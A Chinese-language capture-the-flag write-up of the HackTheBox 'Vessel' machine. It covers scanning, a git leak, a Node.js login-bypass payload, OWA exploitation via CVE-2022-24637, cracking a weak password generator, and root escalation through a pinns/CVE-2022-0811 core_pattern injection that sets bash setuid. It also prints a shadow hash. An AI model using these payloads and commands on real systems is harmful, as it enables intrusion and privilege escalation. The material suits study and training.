基本信息
端口扫描
22和80:
1 | nmap -sC -sV -Pn 10.10.11.178 |
80
根据请求响应信息知道是Nodejs Express:
目录扫描
目录扫描发现dev,继续扫描发现git泄漏:
1 | gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u http://10.10.11.178/ --wildcard --exclude-length 26 |
dev git泄漏
dump源码分析
1 | git-dumper http://10.10.11.178/dev/.git/ git_dump |
根据log,发现security fix以及作者相关信息:
security fix
查看代码,发现login修复了sql 注入:
这段代码看起来很安全,但是,典型案例:
- Node.js SQL Injection Guide: Examples and Prevention
https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/
攻击者可以传入对象而不是字符串,从而绕过认证
config/db.js
config里得到数据库密码:
1 | var connection = { |
admin
使用文章中的payload绕过登录,进入管理后台:
1 | username=admin&password[password]=1 |
分析功能发现新的子域名:
openwebanalytics.vessel.htb
新的子域名加入hosts后访问, 需要认证:
1 | 10.10.11.178 vessel.htb openwebanalytics.vessel.htb |
搜索可以找到相关漏洞:
- From Single / Double Quote Confusion To RCE (CVE-2022-24637) – devel0pment.de
https://devel0pment.de/?p=2494
CVE-2022-24637
1 | $cache_file = $this->makeCollectionDirPath($collection).$id.'.php'; |
- 缓存文件是使用用户的 id 生成的,格式如下:
md5(id1)
- 因此,对于 id 为 1 的用户,缓存名称为:fafe1b60c24107ccd8f4562213e44849
- 使用
http://openwebanalytics.vessel.htb/index.php?owa_do=base.passwordResetForm
,我们可以找出一个有效的电子邮件,admin@vessel.htb
- 我假设这个用户的 id 为 1,最后证明是真的。
- 我们可以尝试使用这个账号登录,即使登录失败也会在
http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_configuration/
下生成缓存文件,但是这个缓存不包含任何用户敏感信息。所以我们需要找到其他对应的动作来生成另一个缓存。 - 通过一些谷歌搜索,我发现其他人的网站运行 owa 并揭示了缓存文件的命名方式。然后我搜索的方式是使用谷歌搜索运算符:
- 后来,我发现通过请求为用户重置密码,会在
http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php
admin@vessel.htb
处生成缓存,这可以观察到,因为当缓存文件在那里,路径http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/
将显示一个空白页面而不是目录列表视图。 - 检查文件内容:
简单的步骤就是:
- 去重置
admin@vessel.htb
账号密码 - 对应文件得到缓存信息
1 | curl http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php |
得到的hash破解不出来,但有一个temp_passkey,可以用于重置密码:
1 | http://openwebanalytics.vessel.htb/index.php?owa_do=base.usersChangePassword |
- 检查表单以检查用于此请求的密钥名称(隐藏在表单中)
owa_k
- 删除隐藏属性,将 temp_passkey 粘贴到字段中,然后更改密码
- 现在,您应该可以
admin
使用新设置的密码登录帐户了
shell
可以根据文章手工,也可以直接脚本打到www-data shell:
- Lay0us1/CVE-2022-24637: Unauthenticated RCE in Open Web Analytics (OWA) 1.7.3
https://github.com/Lay0us1/CVE-2022-24637
passwordGenerator
/home/steven目录下有几个文件,下载下来分析:
1 | /home/steven/passwordGenerator |
网络问题,passwordGenerator是个exe太大了下载不下来,这部分根据wp云了:
- passwordGenerator是pyinstaller编译的exe,反编译
- 反编译,阅读代码,似乎有32^128 个密码组合
- 但是使用QT 如何实现随机数生成器,idx 将只是有限数量的值
1 | qsrand(QTime.currentTime().msec()) |
- 复制
genPassword
代码并修改它以使其工作。 - 然后创建一个while循环来生成密码,这个过程在大约1000个密码时会变得非常慢。
- 使用生成的密码破解pdf,得到pdf密码
1 | pdfcrack -f notes.pdf -w ~/share/passwordGenerator_extracted/pass.txt |
打开pdf,得到ethan用户密码:
1 | Dear Steven, |
genPassword.py
1 | from PySide2.QtCore import * |
user flag
ethan用户ssh登录,得到user flag:
1 | ssh ethan@10.10.11.178 |
提权信息
运行linpeas,发现runc,搜索能发现一个相关漏洞:
- RunC Privilege Escalation - HackTricks
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation - cr8escape: New Vulnerability in CRI-O Container Engine (CVE-2022-0811)
https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/
提权 & root flag
- 严格按照步骤操作,这是一个令人困惑的漏洞利用
- 请注意,此漏洞利用不涉及 kubectl、minikube、docker 等。您需要了解 cve-2022-0811 的概念并使用底层命令进行复制
两个ssh session:
Session1:
1 | mkdir /tmp/miao && cd /tmp/miao |
Session2:
1 | echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/miao/e.sh && chmod +x /tmp/miao/e.sh |
然后回到session1,确认文件已创建:
1 | ls -al /tmp/miao |
在session 2
中,使用 pinns 为 kernel.core_pattern 分配一个值,以便在核心转储时,它将执行恶意脚本
1 | pinns -d /var/run -f 844aa3c8-2c60-4245-a7df-9e26768ff303 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/miao/e.sh #' --ipc --net --uts --cgroup |
在session 1
,触发核心转储
1 | ulimit -c unlimited |
session 2
中,检查该s
位是否已分配给usr/bin/bash
,然后提升为有效root:
shadow
1 | root:$6$9AU197eAAajcv6DO$YOGX5f111bLxtIqVgPKGg3QmWiWIRVmYk3Gkj0BwFVb9K0BkAnJEHaRJElahiQGxtDnvjPI9XqPMkI7YrE60A1:19101:0:99999:7::: |
参考资料
- arthaud/git-dumper: A tool to dump a git repository from a website
https://github.com/arthaud/git-dumper - Node.js SQL Injection Guide: Examples and Prevention
https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/ - From Single / Double Quote Confusion To RCE (CVE-2022-24637) – devel0pment.de
https://devel0pment.de/?p=2494 - Lay0us1/CVE-2022-24637: Unauthenticated RCE in Open Web Analytics (OWA) 1.7.3
https://github.com/Lay0us1/CVE-2022-24637 - extremecoders-re/pyinstxtractor: PyInstaller Extractor
https://github.com/extremecoders-re/pyinstxtractor - RunC Privilege Escalation - HackTricks
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation - Vessel - HTB [Discussion] | BreachForums
https://breached.to/Thread-Vessel-HTB-Discussion - HackTheBox (HTB) Writeup: Vessel [Hard] – meowmeowattack
https://meowmeowattack.wordpress.com/2022/08/31/hackthebox-htb-writeup-vessel-hard/